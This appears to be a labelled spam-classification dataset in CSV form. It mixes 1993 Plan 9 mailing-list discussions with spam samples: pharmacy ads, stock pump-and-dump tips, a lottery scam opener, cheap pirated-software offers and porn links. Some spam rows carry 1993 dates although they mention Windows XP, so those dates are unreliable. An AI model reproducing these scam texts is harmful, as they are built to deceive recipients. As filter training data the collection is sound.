sender,receiver,date,subject,body,label,urls jhpb@sarto.budd-lake.nj.us,,"Tue, 28 Jul 1992 03:13:55 +0000",new Catholic mailing list now up and running,"The mailing list I queried about a few weeks ago is now up and running. I have also set up an archive server; see below. The following is the official welcome to the list message at the moment. Joe Buehler -------------------- This mailing list is for people who desire serious, orthodox discussion of the Roman Catholic religion. I assume that it will cater mainly to Catholics, but everyone else is welcome, provided they operate within the below guidelines. My own interests have a doctrinal bent, but I'm certainly not going to limit this list to just that sort of discussion. Having participated in USENET religion groups for about 5 years now, one of my primary observations about Catholics on the net is that they do not know their religion very well. My hope is that this list might help remedy this problem to some extent. I would like to make this a net resource available for Catholics who want to know more about their religion. As far as moderation policy goes: The Catholic Church is not a democracy, it's a monarchy subject to a divinely given constitution. I don't set the rules in the Church, neither does my parish priest, nor does my bishop, nor does the Pope. Everyone has to adhere to the way Christ set things up. I think it follows that it's not really appropriate for someone to call himself a Catholic and argue with this state of affairs. If you want to be Catholic, it's simple enough, you have to follow the teaching of the Church. The moderation policy will reflect this way of thinking: there are plenty of other places on the net where Catholic doctrine can be freely attacked! If in doubt, you can always subscribe, and see whether the list is to your taste. Besides the mailing list, there are a few other things that may be of interest: - I have set up an archive server that we can put interesting things in. (It doesn't have anything in it at the moment except some UNIX software useful for such endeavors.) Sorry, guys, but nothing that's copyrighted goes into it! - I am planning on setting up a quotation server that can email periodic interesting citations from the principal sources of Catholic doctrine. (Not done yet.) - I have obtained permission from the English language publishers of the Italian Catholic magazine ""30 Days"" to take material from their magazine. I intend to scan some of the more interesting pictures (ever seen a Cristero? or St. Pius X?) and put them in the archives, and also post extracts from some of the more interesting articles. (It's a European magazine, and is of generally higher quality than American Catholic material. In my opinion...) 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Sanderson"" ""Dennis Colarelli"" Tony Sloane Bob Gibson Chris Siebenmann ""Roger Peppe"" ""Chet Ramey"" ""Tim Tsai"" Noel Hunt Due to rdist and local politics, it takes a day before changes to the list take effect.",0,0 Mr Jailyn Koepke ,melvin@groucho.cs.psu.edu,"Fri, 09 Apr 1993 21:31:58 -0800",LOANS @ 3.17% (27 term),"try chauncey may conferred the luscious not continued a tonsillitis ",1,0 Scott Schwartz ,9fans ,"Sat, 10 Apr 1993 21:10:19 -0400",who wants to start?,"It's quiet. Too quiet. Well, how about a straw poll then. How many have plan9 running yet? ",0,0 mike@majestix.cs.uoregon.edu,9fans ,"Sat, 10 Apr 1993 23:32:45 -0400",Re: who wants to start? ,"It's working here. I have departed almost totally from the Bell Labs recommended configuration. I'm running a hacked version of the terminal kernel on Sparcs, booting off local disc, using a remote Unix machine running a hacked ""u9fs"" as the file server. Lots of things don't work yet. I have a TODO list a light-year long. I expect many of my problems would go away if we had the resources to dedicate a CPU server (to run daemons) and a file server. I'm interested in hearing how others are doing... ",0,0 Jody Gee ,marisol@groucho.cs.psu.edu,"Sun, 11 Apr 1993 11:47:37 +0500",Burn body fat,"From NBC Today Show: It's the look everyone wants — a body to diet for. They're on the beaches, in magazines and all over Hollywood. How far will we go to get one? How about thousands of miles and deep into a distant culture? South Africa’s Kalahari Desert is home to what could be the answer to an appetite. It's a cactus called hoodia. “You strip off the skin, you strip off the spines, and then you consume it,” says weight loss expert Madelyn Fernstrom. It`s a revolution! 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",1,0 Austin Sullivan ,summer@groucho.cs.psu.edu,"Wed, 14 Apr 1993 03:04:59 +0200",One pill can change all your ideas about sex!,"Little magic. Perfect weekends. http://othxu.rzfzwiwwfoeh9rr2wrr2errr.myrciaid.com/?jef ",1,1 Scott Schwartz ,9fans@cs.psu.edu,"Wed, 14 Apr 1993 20:18:50 -0400",mass ack,"Greetings all. This is a mass acknowledgement to everyone who has signed on to the plan9-fans list to date, now that influx has slowed down a bit. (There are 75 people on the list right now.) One person has suggested that the name of the list be changed to 9fans. There's already an alias for that, in any event. The list is not being archived (that I know of). If someone wants to do it, that would be great. -- Scott ",0,0 Reginald Tobia ,madge@groucho.cs.psu.edu,"Fri, 16 Apr 1993 08:05:29 -0700",Re: VtALtUM news,"Hi, L C P A X V V e I r m a A I v A o b n L A i L z i a I G t I a e x U R r S c n M A a http://www.ivronsiname.com feathers in the Oval Office. Theres a new man at that desk, but the former president is still very much alive and opinionated. Hed be consulted, so why risk trouble? Conklin studied each face and spoke quietly. Then you really dont know the story, do you? Its the truth, Alex, said Deputy Director Casset. ",1,1 Spurgeon Chaya ,"barbra@groucho.cs.psu.edu, barbra@groucho.cs.psu.edu, abigail@groucho.cs.psu.edu, herbert@groucho.cs.psu.edu, lenora@groucho.cs.psu.edu, ila@groucho.cs.psu.edu","Mon, 19 Apr 1993 20:14:28 -0500","sags under your eyes, we can help","some ninebark it's pennyroyal may assimilable ! paean the pharmacy ",1,0 Dante Dahl ,sharon@groucho.cs.psu.edu,"Wed, 21 Apr 1993 04:52:51 -0540",Fwd:,CZT67GY,1,0 vhs@qb.rhein-main.de,9fans@cs.psu.edu,"Thu, 22 Apr 1993 01:54:29 -0400",Plan 9 beginner's questions,"Maybe you can answer a few beginner's questions I have: What is the equivalent of 'shutdown', 'halt', 'sync' in Plan9, i.e. how to safely shut the system down What are the equivalents of ^C, ^Q and ^S under 8.5, i.e. how to cancel a process without deleting it's window, and how to stop and resume text output? Any help, even pointers into TFM appreciated. (IRTFM'ed, but not the whole M ;-) Volker --- Volker Herminghaus-Shirai (vhs@qb.rhein-main.de) Computer industry: Industry in which the number of units sold of any given product is inversely proportional to its technical excellence. See also: MS-DOS, MS-Windows, PC, X, QWERTY, 80x86, TrueType ",0,0 matty@cs.su.oz.au,9fans-owner@cs.psu.edu,"Thu, 22 Apr 1993 09:10:42 -0400",Re: Plan 9 beginner's questions,"To shut down a terminal ctrl-t ctrl-t r. This should be fine if it's diskless. If it isn't - no idea. To cancell a process (delete or numlock on some keyboard) will kill things in a window's process group. This is in the 8.5 manual page. To stop and resume text output: put the window into non-scroll mode and use the page-down/VIEW key (again check the manual pages like 8.5 and keyboard(6)), its altgraph on some keyboard and the arrow keys on others. This will scroll half a page. Output is blocked while it can't be displayed, i.e., while it's off the bottom of the page. Matty. ",0,0 Mr Kali Lydon ,gina@groucho.cs.psu.edu,"Thu, 22 Apr 1993 04:44:56 -0800",we will not disappoint you,"! phobic in creamy it kaolin try midget ! idiocy ",1,0 matty@cs.su.oz.au,Plan 9 Mailing List <9fans-owner@cs.psu.edu>,"Thu, 22 Apr 1993 11:33:35 -0400",Plan 9 utilities...,"Three things for your general edification/amusement: For those interested, there is a program called 9x in ftp.cs.su.oz.au:/matty which provides a remote graphical connection to a Plan 9 machine on an X terminal. The code needs to be cleaned up (please don't look at it too much if you get it -- I will be mortified if you do), and it doesn't support the polysegment primitive as yet, but it's useful if you can get it to work nevertheless. You will need the libXg library from research.att.com (the one with the sam distribution) to build it. Secondly, on the same site in /matty/unicode, there are utf versions of libXg which will, when compiled with sam enable it to edit utf encoded files, i.e, files containing Runes encoded as Plan 9 encodes them using the utf-2 encoding. The libXg and libframe libraries are both needed as well as the font archive. There is also a program 9term which may be used a replacement for xterm and which provides a 8.5 (8 1/2) like window for Unix: editable command line and output, cut/snarf/send, and if you compile with the right libraries, utf facilities. This is fairly stable. It only works on a few systems at present so if you port it please tell me. It's still a beta version but that's probably because I'm lazy and haven't done a last touch up more than anything else. I've not used xterm in any major fashion since last October or so and having the Plan 9 `look and feel' under Unix is a big win (plug, plug!). The current version in the directory is 1.1.1 but 1.2 should be there in the next few days. Matty. ",0,0 mike@majestix.cs.uoregon.edu,9fans@cs.psu.edu,"Thu, 22 Apr 1993 21:13:40 -0400",Plan 9 beginner's questions,"I don't know how to shut down a file server or CPU server, but to safely shut down a terminal, type ""^T^Tr"". The connection to the file server is not cached, so there is no need to sync. The equivalent of ^C is delete. (Long ago, Delete was the standard interrupt character on Unix too, but Berkeley, in their infinite wisdom, decided to switch to ^C.) The equivalent of ^S and ^Q is the scroll/noscroll item on the middle mouse button menu, together with the scrollbar. ",0,0 Rene Dunham ,audra@groucho.cs.psu.edu,"Fri, 23 Apr 1993 04:17:16 -0200","[fwd] Put CGDC on your radar's now. This stock shows a significant up in stock price and sometimes in days, not months or years.","CHINA GOLD CORP Symbol: CGDC Current Price: 2.17 A Company engaged in gold and minerals exploration and development of gold and mineral properties in China. Why consider CHINA GOLD CORP (CGDC)? Seee n0wadays what happened. ∙ Rising gold prices are further accelerating this gold rush - The price of gold has up 250% over the past five years, and this is still only a quarter of when the price peaked 25 years ago. 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If you wish to stop future mailings, or if you feel you have been wrongfully placed in our membership, send a blank e mail with No Thanks in the sub ject to",1,0 Merle Godwin ,"sharron@groucho.cs.psu.edu, meredith@groucho.cs.psu.edu, fern@groucho.cs.psu.edu, christina@groucho.cs.psu.edu","Fri, 23 Apr 1993 18:33:39 -0500",recover back your lost youth,", laplacian may rheum be bungle be portentous on dump ",1,0 rob@research.att.com,9fans@cs.psu.edu,"Sat, 24 Apr 1993 13:00:48 -0400",,"In the good old days, copyright notices meant something. The latest instance of their devaluation is Matty's posting in a public place of a number of copyrighted fonts from the Plan 9 distribution (itself a violation of the copyright) without reproducing the notice (which would be our request to anyone who asked to copy them). For those interested in maintaining the principle of letting artists maintain ownership of their work, the fonts Matty distributed should be stored with the following notice: The fonts in this directory are based on fonts Copyright (c) 1985 Bigelow & Holmes Inc. This text is (with a substitution for (c)) the contents of /lib/font/bit/(pelm,lucm)/NOTICE -rob ",0,0 Aaron ,Alton ,"Sat, 24 Apr 1993 22:04:32 +0100",decide yet,"You know what i'm so sick of paying all those ridicul ous prices for ur goodies. It is just crazy. Luckily, I was one of the fortunate one is who came across www.organizationalforusto.com/jn/. is valley hymn too fogs, tatters small for you Stewart 22. Alexander needed more than horsemanship of of and cloud hanging self-confidence to be a good king. He needed discipline. Aaron ",1,0 geoff@minnie.cs.su.OZ.AU,9fans@cs.psu.edu,"Sat, 24 Apr 1993 23:14:37 -0400","Dumb, fundamental question.","Is Plan 9 primarily intended as an operating system to do research on, or into? Many of the postings on comp.os.research which run 'Plan 9 should have interesting feature x' seem to cast (recast?) Plan 9 as a operating system to which exists for the purpose of investigating certain operating system ideas. The impression I have from the Plan 9 literature so far seems to indicate that the emphasis is more on creating a usable system, given certain ideas about operating system design, namespaces and so on. I'm not asking whether Plan 9 is a pure research system or a pure production system - just which is considered more important. Geoff. ",0,0 Gary Capell ,9fans-owner@cs.psu.edu,"Sat, 24 Apr 1993 23:46:41 -0400","Re: Dumb, fundamental question.","Your impression is the same as my impression. It's a very usable system by Bell Labs for Bell Labs to play on/create new stuff on. Obviously the posters to c.o.r. will have opinions on what should go into any OS (they made all sorts of suggestions for/criticisms of QNX too). Probably few of them actually USE plan9. You can see what strong forces there are for an OS to accrete ""features"". Speaking of feeping creaturism, are there plans to add a ""find"" command? ",0,0 Chayim Kangas ,elva@groucho.cs.psu.edu,"Sat, 24 Apr 1993 17:38:01 -0700",Re: your VtAGcRA,"Hi X V V L P A C a A I e r m I n L A v o b A a I G i z i L x U R t a e I M A ra c n S http://www.basioscua.com its whistling voices were released. The grasses hissed, their tassels bent, the reeds were rattling-on it went o er shaken pool under heavens cool where racing clouds were torn and rent. It passed the lonely Mountain bare ",1,1 matty@cs.su.oz.au,Plan 9 Mailing List <9fans@cs.psu.edu>,"Mon, 26 Apr 1993 05:43:08 -0400",Fonts and unicode distribution...,"From: rob@research.att.com Date: Sat, 24 Apr 1993 13:00:48 -0400 To: 9fans@cs.psu.edu Message-Id: <93Apr24.130215edt.293067@psuvax1.cs.psu.edu> In the good old days, copyright notices meant something. The latest instance of their devaluation is Matty's posting in a public place of a number of copyrighted fonts from the Plan 9 distribution (itself a violation of the copyright) without reproducing the notice (which would be our request to anyone who asked to copy them). For those interested in maintaining the principle of letting artists maintain ownership of their work, the fonts Matty distributed should be stored with the following notice: The fonts in this directory are based on fonts Copyright (c) 1985 Bigelow & Holmes Inc. This text is (with a substitution for (c)) the contents of /lib/font/bit/(pelm,lucm)/NOTICE -rob Rob is of course right (he wins this week's award for the Most Public Slap on the Wrist). Ftp.cs.su.oz.au:/matty/unicode will be unavailable until I sort things out. For the record I do believe in copyright, the oversight has arisen from the ad hoc way this distribution has grown rather than any malicious or subversive intent on my part to deny authorship of the fonts. Matty.",0,0 arnold@cc.gatech.edu,9fans@cs.psu.edu,"Mon, 26 Apr 1993 12:32:50 -0400",a plug for 9term,"I've been beta-in g9term for 1.5 or 2 months and have very quickly come to be addicted. The directory is not accessible at the moment, but when it comes back, do get a copy of 9term and try it; I like it a lot. Arnold Robbins --- College of Computing Georgia Tech, Atlanta, GA 30332-0280 Phone: +1 404 894 9214 E-mail: arnold.robbins@cc.gatech.edu FAX: +1 404 853 9378 ""He's not dead, he's metaphysically challenged."" - Mystery Science Theatre 3000 ",0,0 Martin Perez ,angelina@groucho.cs.psu.edu,"Mon, 26 Apr 1993 18:49:58 -0400",Three Steps to the Software You Need at the Prices You Want," Special Offer Adobe Video Collection Adobe Premiere 1.5 Professional Adobe After Effects 6.5 Professional Adobe Audition 1.5 Adobe Encore DVD 1.5 $149.95 More Info >> Microsoft 2 in 1 MS Windows XP Pro MS Office 2003 Pro $99.95 More Info >> Microsoft + Adobe 3 in 1 MS Windows XP Pro MS Office 2003 Pro Adobe Acrobat 7.0 Professional $149.95 More Info >> Bestsellers Microsoft Office Professional Edition 2003 Rating: 6 reviews Retail price: $550.00 You save: $480.05 (87%) Our price: $69.95 [Add to cart] Microsoft Windows XP Professional Rating: 8 reviews Retail price: $200.00 You save: $150.05 (75%) Our price: $49.95 [Add to cart] Adobe Photoshop CS2 V 9.0 Rating: 3 reviews Retail price: $599.00 You save: $529.05 (88%) Our price: $69.95 [Add to cart] ",1,0 matty@cs.su.oz.au,"Plan 9 Mailing List <9fans@cs.psu.edu>, nms@saukh.relcom.msk.su, k-waclena@uchicago.edu","Tue, 27 Apr 1993 07:10:15 -0400",9term...,"Okay, I've got some of the distribution problems sorted out. 9term, libXg, libframe, and libtext are now again available from ftp.cs.su.oz.au:/matty/unicode. I am waiting for a decision on the font archive so the fonts are unavailable at the moment. 9term will function with normal X fonts, however. 9x needs some tidying up so that should be back soon as well. Thanks for everyone's interest and patience and my apologies to those who've tried to ftp in the last half a week or so and have been unable to. Matty. ",0,0 netapp!ghoti!byron@netcom.com,"9fans@cs.psu.edu, matty@cs.su.oz.au","Tue, 27 Apr 1993 12:59:21 -0400",Re: Fonts and unicode distribution...,"I don't mean to stir a hornets nest here, but it's my impression that there's no copyright protection for screen-bitmap fonts. Of course, that doesn't mean that omitting a distribution notice in this case is the Right Thing to do... ",0,0 matty@cs.su.oz.au,Byron Rakitzis ,"Tue, 27 Apr 1993 23:54:10 -0400",Re: Fonts and unicode distribution...,"Date: Tue, 27 Apr 93 09:59:21 PDT From: netapp!ghoti!byron@netcom.com (Byron Rakitzis) Message-Id: <9304271659.AA07648@ghoti.netapp.com> To: 9fans@cs.psu.edu, matty@cs.su.oz.au Subject: Re: Fonts and unicode distribution... I don't mean to stir a hornets nest here, but it's my impression that there's no copyright protection for screen-bitmap fonts. Of course, that doesn't mean that omitting a distribution notice in this case is the Right Thing to do... I was under the impression that this is the case in the USA -- screen-bitmap fonts are not protected -- but in Great Britian it's a different matter. I'm not sure of their status in Australia. Adding a NOTICE is definitely a Good Idea(TM) and I have written to Mr Charles A. Bigelow asking for permission to distribute the fonts. Matty. -- James Matthew Farrow | ""For in that moment I beheld the ruin matty@cs.su.OZ.AU | of my existence. My world fell dark Basser Department of Computer Science | and my life became a shallow dream. Sydney University - FAX: +61 2 692 3838 | `Odi et amo. Excrucior.'"" - Tlindah",0,0 """Ozan S. Yigit"" ",matty@cs.su.oz.au,"Wed, 28 Apr 1993 11:21:45 -0400",Re: Fonts and unicode distribution... ," > I was under the impression that this is the case in the USA -- > screen-bitmap fonts are not protected ... It is known as the exclusion of utilitarian works. In US, typefaces are considered utilitarian works, so they cannot be protected by copyright. oz ",0,0 mike@majestix.cs.uoregon.edu,"""Ozan S. Yigit"" ","Wed, 28 Apr 1993 14:02:46 -0400",Re: Fonts and unicode distribution... ,"Although fonts themselves cannot be protected, it's likely that the actual data file representing a particular instance of a font is protectible. For example, I dare you to redistribute one of Adobe's Type I data files. Consequently, the interesting questions regarding the Plan 9 fonts are: (1) How did Bell Labs derive the bitmap data? If they digitized the fonts themselves from, say, blown up photographs, they are on safe legal ground. Likewise if they constructed the fonts by hand with a bitmap editor. (Given that these fonts look awfully reminescent of the ""blit"" fonts, I suspect that they date to the early 1980's and were constructed by hand.) (2) How does Bell Labs feel about us using their bitmap data files? The answer to #2 seems to be ""Fine, so long as the copyright notice is preserved on all copies."" ",0,0 Beth Corbo ,macgifts@mac.archive.umich.edu,"Tue, 11 May 1993 20:21:24 -0700",Quadra Utilities," Here are the utilities that I found for dealing with setting the amount of time the Mac waits for the internal hard drive to spin-up and some notes on SCSI from Micronet. Enjoy! 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Regards, Homann -- Magnus Homann ""They don't call it the net of a d0asta@dtek.chalmers.se million lies for nothing"" -- Vinge (?) ",0,0 Mike Haertel ,Magnus Homann ,"Sat, 03 Jul 1993 14:53:53 -0400",Re: Ported U*ix programs to Plan 9? ,"The ape library and the associated ""pcc"" compiler have worked very well for me for porting a variety of unix programs to plan 9. The most annoying aspect of the whole process is not porting C code, but porting makefiles and the associated shell scripts. To this end, I have ported the almquist /bin/sh from netbsd, and gnu make. Using these tools I have been able to configure and build a variety* of gnu software right out of the box. I've also ported the pbmplus suite of bitmap tools, although that required some small source changes. In the process I've found a few bugs in the ape library; most notably the wait() function does not return exit status correctly. What I think happened is the kernel recently started putting the string "":"" into the exit status, and the ape library has not been updated to know this. I eventually (september or october) will make all this stuff available to others, but right now my time is limited. Mike * sorry, no emacs. :-) It can be done--in 1991, out of sheer masochism, and to annoy rob, I ported gnu emacs to plan 9. Fortunately, it has been lost to the mists of time...",0,0 Monte Steele ,julian@groucho.cse.psu.edu,"Sat, 03 Jul 1993 13:21:35 -0400",Young resplendent viirgins at haardcore Porno.," nice teens in buukkake action. http://gamedayexpo.info/pwpepesadvent.htm?iSPhfd.fX,hj U_N_$$_U_B_S_C_R_l_B_E http://gamedayexpo.info ",1,1 Icarus Sparry ,plan9-fans@cse.psu.edu,"Mon, 05 Jul 1993 06:06:20 -0400",sfio vs bio,"David Korn and Kiem-Phong Vo have just released a new version of sfio, the 'Safe Fast I/O' package, which is designed as a replacement for stdio. The paper 'How to use the Plan 9 C Compiler' tells us ""Bio is a small and very efficient, particularly for buffer-at-a-time or line-at-a-time I/O. Even for character-at-a-time I/O, however, it is significantly faster than the Standard I/O library"" Before I do it, has anyone else measured these two on similar hardware (e.g. Sun Sparc-Station 2, running SunOS)? The paper with sfio gives some figures for Andrew Humes FIO package and some existing stdio packages. Sfio has more facilities, e.g. you can define error handlers for streams, and can make use of operating system facilities like memory mapped files. Icarus ",0,0 rsalz@osf.org,"d0asta@dtek.chalmers.se, plan9-fans-owner@cse.psu.edu","Mon, 05 Jul 1993 11:31:33 -0400",Re: Ported U*ix programs to Plan 9?," Er, rather than porting existing stuff (GNU, etc) shouldn't you be writing NEW programs with the plan9 model? ",0,0 Roger Peppe ,rsalz@osf.org,"Mon, 05 Jul 1993 11:43:14 -0400",Re: Ported U*ix programs to Plan 9?,"> Er, rather than porting existing stuff (GNU, etc) shouldn't > you be writing NEW programs with the plan9 model? sometimes it's non-trivial to re-invent _every_ wheel before using it, however nice it might be... :-) IMHO, one of the nice things about plan 9 is how easily most `naive' unix programs port to it. rog. ",0,0 rob@research.att.com,9fans@cse.psu.edu,"Mon, 05 Jul 1993 11:59:04 -0400",,"if you want emacs, you can run it almost anywhere else; why bother to run it here? if you trust us enough to try our operating system, why not trust us enough to try our other software, like the window system and the editor? why not see if we have a good idea in our structuring of the libraries and header files? why marvel at the compatibilities of the system when some of its best ideas might be incompatibilities? why install a replica of your familiar playground with all these new toys around? -rob pike ",0,0 mike@majestix.cs.uoregon.edu,rsalz@osf.org,"Mon, 05 Jul 1993 13:26:40 -0400",Re: Ported U*ix programs to Plan 9? ,">Er, rather than porting existing stuff (GNU, etc) shouldn't >you be writing NEW programs with the plan9 model? I think the only place where the ""plan 9 model"" is dramatically different is in window system software. There's a large amount of unix software that fits plan 9 just fine, and it would be awfully stupid to reinvent wheels when there's genuinely new things to work on instead... ",0,0 mike@majestix.cs.uoregon.edu,plan9-fans@cse.psu.edu,"Mon, 05 Jul 1993 13:20:25 -0400",Re: sfio vs bio ,">Sfio has more facilities, e.g. you can define error handlers for >streams, and can make use of operating system facilities like memory >mapped files. Sfio is also 7000 (10000 if you count stdio compatibility) lines of code, whereas bio is about 700. Sfio is not 10 times faster or 10 times more useful. You're comparing apples to kumquats. ",0,0 mike@majestix.cs.uoregon.edu,9fans@cse.psu.edu,"Mon, 05 Jul 1993 13:39:29 -0400",oops,"Unthinkingly, I wrote: >I think the only place where the ""plan 9 model"" is dramatically >different is in window system software. I should clarify this: In Unix, most programs take standard input and produce standard output. The same is true in Plan 9. So when I said the plan 9 model is mostly the same, I was thinking of how you run programs, not how you write them. The incompatibilities are a bit more dramatic from a programmer's point of view. ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Mon, 05 Jul 1993 13:59:18 -0400",Re: Ported U*ix programs to Plan 9?,">> I think the only place where the ""plan 9 model"" is dramatically >> different is in window system software. i disagree. 9P, precise control of the contents of multiple namespaces, user-level file servers, and the simplicity of the process model make a big difference in the way one designs the implementation of both old and new functions in the Plan 9 environment. many of the features i listed appear in some form in other systems, but usually they are sufficiently hard to use that people don't bother. by contrast, in Plan 9 they are used almost casually, and to good effect. >> I should clarify this: In Unix, most programs take standard input >> and produce standard output. The same is true in Plan 9. So when a Plan 9 program can also make things visible in a name space, to allow them to be manipulated by both new and existing commands. that possibility can dramatically change the design of a program or system of programs. ",0,0 Shirley Ledford ,"geneva@groucho.cse.psu.edu, paul@groucho.cse.psu.edu, rosa@groucho.cse.psu.edu, lorena@groucho.cse.psu.edu, frank@groucho.cse.psu.edu, faith@groucho.cse.psu.edu, jaime@groucho.cse.psu.edu","Mon, 05 Jul 1993 19:03:20 -0500",We never repent of having eaten too little,"not bellflower on cromwellian a embroider see codfish and cleft ",1,0 Gary Capell ,9fans@cse.psu.edu,"Tue, 06 Jul 1993 07:31:53 -0400",Re: porting unix progs to plan9,"1. I'm afraid of losing the nice feel of a small number of good tools if *nix progs are ported just for the purpose of having familiar old faithfuls. 2. For those areas where there IS a definite hole (e.g. news reader), writing new applications seems a much better idea, to take advantage of the nicer programming environment. For example I've put together the skeleton of a calendar management file system, and dhog here is working on a news reading file system, which will hopefully fit in nicely with other plan 9 tools, especially help(1). P.S. Help(1) is way cool. Try it for an hour and you won't go back. And I hear rumours of a successor called acme which should be even better. ",0,0 """Ozan S. Yigit"" ",gary@cs.su.OZ.AU,"Tue, 06 Jul 1993 00:48:22 -0400",Re: porting unix progs to plan9,">2. For those areas where there IS a definite hole (e.g. news reader), >writing new applications seems a much better idea... I entirely agree with this: I detest all newsreaders: they are cramped, monolithic pieces of cybercrud that make vms utilities look simple and elegant. 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We've always used the original 1.44 floppy. In ""Configuring for a PC"", it is discussed a way to copy the boot files to a disk to use as the boot disk. DOS doesn't like the AUX directory in /386/bin. Even if the files are zipped, then expanded into DOS, it refuses to create or maintain this directory. How have others got around this? Similarly, one may copy the image (pcdisk) to a floppy, but of what utility is this? Thanks in advance, --Jerry ",0,0 Bob Kummerfeld ,Jerry W Johnson ,"Thu, 15 Jul 1993 00:08:21 -0400",," DOS doesn't like a file or directory name of ""aux"" or the files /dev/c: and /dev/a: The way to do it is to boot from the floppy, use the floppy as your file system and then copy the files and directories from the floppy to /n/c: using plan9. (ie mkdir /n/c:/386/bin/aux, etc) Bob. ",0,0 """Mrs.Rosemod Raul"", Vice President ",tony@groucho.cse.psu.edu,"Fri, 16 Jul 1993 06:39:30 +0200",CONGRATULATION!!!.,"From The Desk Of Vice President Euro Millions Lottery. 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",1,1 pete@minster.york.ac.uk,"9fans@cs.psu.edu, sam-fans@hawkwind.utcs.toronto.edu","Wed, 21 Jul 1993 12:11:48 -0400",libXg and caps lock on Sun type V keyboard under openwindows,"Not sure which of these lists (9fans or sam-fans) is more appropriate, but here goes: Running 9term or samterm under Openwindows (sparcstation elc; type 5 keyboard; openwindows 2; sunos 4.1.1) I find that the Caps Lock key is interpreted as Shift Lock -- i.e. 123 comes out as !""# and so on. It looks like a libXg bug to me... As far as I'm concerned this is only a minor irritant -- Caps Lock is pointless anyway in these days of OPERATING SYSTEMS THAT DON'T REQUIRE YOU TO SHOUT -- but I wondered if anyone else had noticed this bug-ette and/or had a fix for it? pete -- Peter Fenelon - Research Associate - High Integrity Systems Engineering Group, Dept. of Computer Science, University of York, York, Y01 5DD (+44/0)904 433388 pete@minster.york.ac.uk `Today keeps slipping by me, it leaves no aftertaste.' ",0,0 Scott Schwartz ,pete@minster.york.ac.uk,"Wed, 21 Jul 1993 13:47:07 -0400",Re: libXg and caps lock on Sun type V keyboard under openwindows ,"| As far as I'm concerned this is only a minor irritant -- Caps Lock is | pointless anyway in these days of OPERATING SYSTEMS THAT DON'T REQUIRE | YOU TO SHOUT -- but I wondered if anyone else had noticed this bug-ette | and/or had a fix for it? It doesn't show up here, running MIT X11. In terms of shouting, if you use MODULA-3, encrusted as it is with upper case keywords, caps-lock is about the only alternative (and a poor one at that) to a context sensitive editor like emacs. ",0,0 pete@minster.york.ac.uk,"pete@minster.york.ac.uk, schwartz@groucho.cse.psu.edu","Wed, 21 Jul 1993 17:52:49 -0400",Re: libXg and caps lock on Sun type V keyboard under openwindows,">From schwartz@groucho.cse.psu.edu Wed Jul 21 13:47:07 0400 1993 [I said] >| As far as I'm concerned this is only a minor irritant -- Caps Lock is >| pointless anyway in these days of OPERATING SYSTEMS THAT DON'T REQUIRE >| YOU TO SHOUT -- but I wondered if anyone else had noticed this bug-ette >| and/or had a fix for it? >It doesn't show up here, running MIT X11. I tried re-linking against MIT X11R4 libraries rather than the Openwindows ones, with the same result. I guess it's an Openwindows 2 server ``feature''. Sigh. >In terms of shouting, if you use MODULA-3, encrusted as it is with >upper case keywords, caps-lock is about the only alternative (and a >poor one at that) to a context sensitive editor like emacs. Hmmm.... I think if I was using sam to edit a language which required upper case I'd knock together some sort of filter to do the capitalisation and pipe the file through it before a write... that's what the '|' command is there for! Couple of extra keystrokes perhaps (maybe only one if you're using the keyboard extensions to sam) and it avoids the dreaded emacs... pete -- Peter Fenelon - Research Associate - High Integrity Systems Engineering Group, Dept. of Computer Science, University of York, York, Y01 5DD +44 (0)904 433388 EMAIL: pete@minster.york.ac.uk `There's no room for enigmas in built-up areas' ",0,0 Marcus Samuel ,jillian@groucho.cse.psu.edu,"Two, Wed, 21 Jul 1993 17:19:49 -0540",fwd: The hottest pick daily news,"Get CTXE First Thing Today, This Is Going To Explode! Check out for HOT NEWS!!! CTXE - CANTEX ENERGY CORP CURRENT_PRICE: $0.60 GET IT N0W! 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",1,1 Jerry W Johnson ,plan9-fans@cse.psu.edu,"Mon, 26 Jul 1993 00:12:55 -0400",Term to CPU Server?,"Hi 9`ers, could someone please expound on what is required to bring a machine (sparc2, same as the fs) up as a cpu server the first time, other than changing the bootf, fs and auth variables in /lib/ndb/local and loading 9sscpu? The system is up and running as term and fs, but what more is required to change the term to a cpu server? As well as detail what is required to then make this machine the authentication server, please? Thanks in advance, --Jerry ",0,0 Tim.Goodwin@pipex.net,9fans@cse.psu.edu,"Mon, 26 Jul 1993 07:55:00 -0400",Obtaining Plan 9 as an individual,"Does anyone know what my chances of obtaining Plan 9 are as an individual? Would it be worth writing to Bell Labs? Failing that, maybe I'll have to find a university who'd take me on a as a (very) part time assistant OS hacker... Tim. ",0,0 plan.9@research.att.com,9fans-owner@cse.psu.edu,"Mon, 26 Jul 1993 10:30:01 -0400",,">> From cse.psu.edu!9fans-owner Mon Jul 26 08:11:55 EDT 1993 >> Received: by inet.att.com; Mon Jul 26 08:11 EDT 1993 >> Received: from relay.pipex.net ([158.43.128.1]) by psuvax1.cse.psu.edu with SMTP id <292433>; Mon, 26 Jul 1993 08:04:41 -0400 >> Received: from pipex.net by relay.pipex.net with SMTP (PP) >> id <28301-0@relay.pipex.net>; Mon, 26 Jul 1993 13:03:56 +0100 >> To: 9fans@cse.psu.edu >> From: Tim.Goodwin@pipex.net >> Subject: Obtaining Plan 9 as an individual >> Date: Mon, 26 Jul 1993 07:55:00 -0400 >> Message-ID: <""relay.pipe.335:26.06.93.12.04.18""@pipex.net> >> >> Does anyone know what my chances of obtaining Plan 9 are as an >> individual? Would it be worth writing to Bell Labs? >> >> Failing that, maybe I'll have to find a university who'd take me on a >> as a (very) part time assistant OS hacker... >> >> Tim. it might become possible for individuals to acquire the system. steps are being taken in that direction. the decision depends on various factors that are not influencable by outside campaigns and there is no promise of a successful conclusion, however.",0,0 Otis Palti ,"norman@groucho.cse.psu.edu, francisca@groucho.cse.psu.edu, ted@groucho.cse.psu.edu, emilia@groucho.cse.psu.edu","Mon, 26 Jul 1993 16:12:23 -0500",revilatizes your hair/nail growth,"on matrimony it bind not screenplay try nebular , kalmuk ",1,0 John Mackin ,Tim.Goodwin@pipex.net,"Tue, 27 Jul 1993 08:35:11 -0400",Re: Obtaining Plan 9 as an individual,"A friend of mine tried this, writing to the lady as specified for universities and explaining that he wanted it only for personal research, that he'd send back his changes, etc. He just heard back today after about two months. The return letter told him that he couldn't have a license, but thanking him for writing and saying that his letter and others like it were helping to strengthen the position of a campaign to make Plan 9 available publically. Therefore, I would strongly urge you to write. OK, John. ",0,0 rob@research.att.com,9fans@cse.psu.edu,"Tue, 27 Jul 1993 10:12:05 -0400",,"please don't write. we're working on getting it released. -rob ",0,0 Arnold Robbins ,9fans@cse.psu.edu,"Tue, 27 Jul 1993 